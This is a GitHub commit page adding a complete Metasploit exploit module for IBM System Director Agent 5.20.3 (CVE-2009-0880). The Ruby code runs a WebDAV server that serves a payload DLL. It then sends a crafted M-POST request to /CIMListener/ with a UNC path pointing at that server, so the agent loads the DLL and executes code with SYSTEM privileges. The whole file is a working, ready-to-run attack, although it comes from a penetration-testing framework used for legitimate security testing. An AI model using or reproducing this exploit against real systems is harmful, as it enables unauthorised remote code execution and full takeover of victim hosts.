Skip to content

Commit 1fb05c0

Browse files
committed
Merge branch 'ibm_director_cim_dllinject' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-ibm_director_cim_dllinject
2 parents 215017e + fc8b08f commit 1fb05c0

File tree

1 file changed

+311
-0
lines changed

1 file changed

+311
-0
lines changed
Lines changed: 311 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,311 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::EXE
16+
17+
def initialize
18+
super(
19+
'Name' => 'IBM System Director Agent DLL Injection',
20+
'Description' => %q{
21+
This module abuses the "wmicimsv" service on IBM System Director Agent 5.20.3
22+
to accomplish arbitrary DLL injection and execute arbitrary code with SYSTEM
23+
privileges.
24+
25+
In order to accomplish remote DLL injection it uses a WebDAV service as disclosed
26+
by kingcope on December 2012. Because of this, the target host must have the
27+
WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically
28+
started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2.
29+
},
30+
'Author' => [
31+
'Bernhard Mueller', # Vulnerability discovery and exploit using directory traversal
32+
'kingcope', # Exploit using WebDAV
33+
'juan vazquez' # Metasploit module
34+
],
35+
'Platform' => 'win',
36+
'References' =>
37+
[
38+
[ 'CVE', '2009-0880'],
39+
[ 'OSVDB', '52616'],
40+
[ 'OSVDB', '88102'],
41+
[ 'BID', '34065' ],
42+
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20090305-2_IBM_director_privilege_escalation.txt' ],
43+
[ 'URL', 'http://seclists.org/bugtraq/2012/Dec/5' ]
44+
],
45+
'Targets' =>
46+
[
47+
[ 'IBM System Director Agent 5.20.3 / Windows with WebClient enabled', { } ],
48+
],
49+
'DefaultTarget' => 0,
50+
'Privileged' => true,
51+
'DisclosureDate' => 'Mar 10 2009'
52+
)
53+
register_options(
54+
[
55+
Opt::RPORT(6988),
56+
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
57+
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ])
58+
], self.class)
59+
end
60+
61+
def auto_target(cli, request)
62+
agent = request.headers['User-Agent']
63+
64+
ret = nil
65+
# Check for MSIE and/or WebDAV redirector requests
66+
if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
67+
ret = targets[0]
68+
elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
69+
ret = targets[0]
70+
else
71+
print_error("Unknown User-Agent: #{agent}")
72+
end
73+
74+
ret
75+
end
76+
77+
78+
def on_request_uri(cli, request)
79+
80+
mytarget = target
81+
if target.name == 'Automatic'
82+
mytarget = auto_target(cli, request)
83+
if (not mytarget)
84+
send_not_found(cli)
85+
return
86+
end
87+
end
88+
89+
# If there is no subdirectory in the request, we need to redirect.
90+
if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
91+
if (request.uri == '/')
92+
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
93+
else
94+
subdir = request.uri + '/'
95+
end
96+
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
97+
send_redirect(cli, subdir)
98+
return
99+
end
100+
101+
# dispatch WebDAV requests based on method first
102+
case request.method
103+
when 'OPTIONS'
104+
process_options(cli, request, mytarget)
105+
106+
when 'PROPFIND'
107+
process_propfind(cli, request, mytarget)
108+
109+
when 'GET'
110+
process_get(cli, request, mytarget)
111+
112+
when 'PUT'
113+
print_status("Sending 404 for PUT #{request.uri} ...")
114+
send_not_found(cli)
115+
116+
else
117+
print_error("Unexpected request method encountered: #{request.method}")
118+
119+
end
120+
121+
end
122+
123+
124+
#
125+
# GET requests
126+
#
127+
def process_get(cli, request, target)
128+
129+
print_status("Responding to GET request #{request.uri}")
130+
# dispatch based on extension
131+
if (request.uri =~ /\.dll$/i)
132+
print_status("Sending DLL")
133+
return if ((p = regenerate_payload(cli)) == nil)
134+
dll_payload = generate_payload_dll
135+
send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' })
136+
#else
137+
# send_not_found(cli)
138+
#end
139+
else
140+
send_not_found(cli)
141+
end
142+
end
143+
144+
145+
#
146+
# OPTIONS requests sent by the WebDav Mini-Redirector
147+
#
148+
def process_options(cli, request, target)
149+
print_status("Responding to WebDAV OPTIONS request")
150+
headers = {
151+
#'DASL' => '<DAV:sql>',
152+
#'DAV' => '1, 2',
153+
'Allow' => 'OPTIONS, GET, PROPFIND',
154+
'Public' => 'OPTIONS, GET, PROPFIND'
155+
}
156+
send_response(cli, '', headers)
157+
end
158+
159+
160+
#
161+
# PROPFIND requests sent by the WebDav Mini-Redirector
162+
#
163+
def process_propfind(cli, request, target)
164+
path = request.uri
165+
print_status("Received WebDAV PROPFIND request")
166+
body = ''
167+
168+
if (path =~ /\.dll$/i)
169+
print_status("Sending DLL multistatus for #{path} ...")
170+
body = %Q|<?xml version="1.0"?>
171+
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
172+
<a:response>
173+
</a:response>
174+
</a:multistatus>
175+
|
176+
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) or (path =~ /\.dll/i)
177+
print_status("Sending 404 for #{path} ...")
178+
send_not_found(cli)
179+
return
180+
181+
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
182+
# Response for anything else (generally just /)
183+
print_status("Sending directory multistatus for #{path} ...")
184+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
185+
<D:multistatus xmlns:D="DAV:">
186+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
187+
<D:href>#{path}</D:href>
188+
<D:propstat>
189+
<D:prop>
190+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
191+
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
192+
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
193+
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
194+
<D:lockdiscovery/>
195+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
196+
</D:prop>
197+
<D:status>HTTP/1.1 200 OK</D:status>
198+
</D:propstat>
199+
</D:response>
200+
</D:multistatus>
201+
|
202+
203+
else
204+
print_status("Sending 404 for #{path} ...")
205+
send_not_found(cli)
206+
return
207+
208+
end
209+
210+
# send the response
211+
resp = create_response(207, "Multi-Status")
212+
resp.body = body
213+
resp['Content-Type'] = 'text/xml'
214+
cli.send_response(resp)
215+
end
216+
217+
def xml_data
218+
xml = <<-eos
219+
<?xml version="1.0" encoding="utf-8" ?>
220+
<CIM CIMVERSION="2.0" DTDVERSION="2.0">
221+
<MESSAGE ID="1007" PROTOCOLVERSION="1.0">
222+
<SIMPLEEXPREQ>
223+
<EXPMETHODCALL NAME="ExportIndication">
224+
<EXPPARAMVALUE NAME="NewIndication">
225+
<INSTANCE CLASSNAME="CIM_AlertIndication" >
226+
<PROPERTY NAME="Description" TYPE="string">
227+
<VALUE>Sample CIM_AlertIndication indication</VALUE>
228+
</PROPERTY>
229+
<PROPERTY NAME="AlertType" TYPE="uint16">
230+
<VALUE>1</VALUE>
231+
</PROPERTY>
232+
<PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
233+
<VALUE>3</VALUE>
234+
</PROPERTY>
235+
<PROPERTY NAME="ProbableCause" TYPE="uint16">
236+
<VALUE>2</VALUE>
237+
</PROPERTY>
238+
<PROPERTY NAME="IndicationTime" TYPE="datetime">
239+
<VALUE>20010515104354.000000:000</VALUE>
240+
</PROPERTY>
241+
</INSTANCE>
242+
</EXPPARAMVALUE>
243+
</EXPMETHODCALL>
244+
</SIMPLEEXPREQ>
245+
</MESSAGE>
246+
</CIM>
247+
eos
248+
return xml
249+
end
250+
251+
def check
252+
253+
peer = "#{rhost}:#{rport}"
254+
print_status("#{peer} - Checking if CIMListener exists...")
255+
256+
res = send_request_cgi({
257+
'uri' => "/CIMListener/",
258+
'method' => 'M-POST',
259+
'ctype' => 'application/xml; charset=utf-8',
260+
'headers' => {
261+
"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
262+
"CIMOperation" => "MethodCall",
263+
"CIMExport" => "MethodRequest",
264+
"CIMExportMethod" => "ExportIndication"
265+
},
266+
'data' => xml_data,
267+
}, 1)
268+
269+
if res and res.code == 200 and res.body =~ /CIMVERSION/
270+
return CheckCode::Appears
271+
end
272+
return CheckCode::Safe
273+
end
274+
275+
def exploit
276+
277+
basename = rand_text_alpha(3)
278+
share_name = rand_text_alpha(3)
279+
280+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
281+
282+
exploit_unc = "\\\\#{myhost}\\"
283+
284+
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
285+
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
286+
end
287+
288+
vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll")
289+
290+
@peer = "#{rhost}:#{rport}"
291+
292+
print_status("#{@peer} - Injecting DLL...")
293+
294+
res = send_request_cgi({
295+
'uri' => "/CIMListener/#{exploit_unc}#{share_name}\\#{basename}.dll",
296+
'method' => 'M-POST',
297+
'ctype' => 'application/xml; charset=utf-8',
298+
'headers' => {
299+
"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
300+
"CIMOperation" => "MethodCall",
301+
"CIMExport" => "MethodRequest",
302+
"CIMExportMethod" => "ExportIndication"
303+
},
304+
'data' => xml_data,
305+
}, 1)
306+
307+
super
308+
309+
end
310+
311+
end

0 commit comments

Comments
 (0)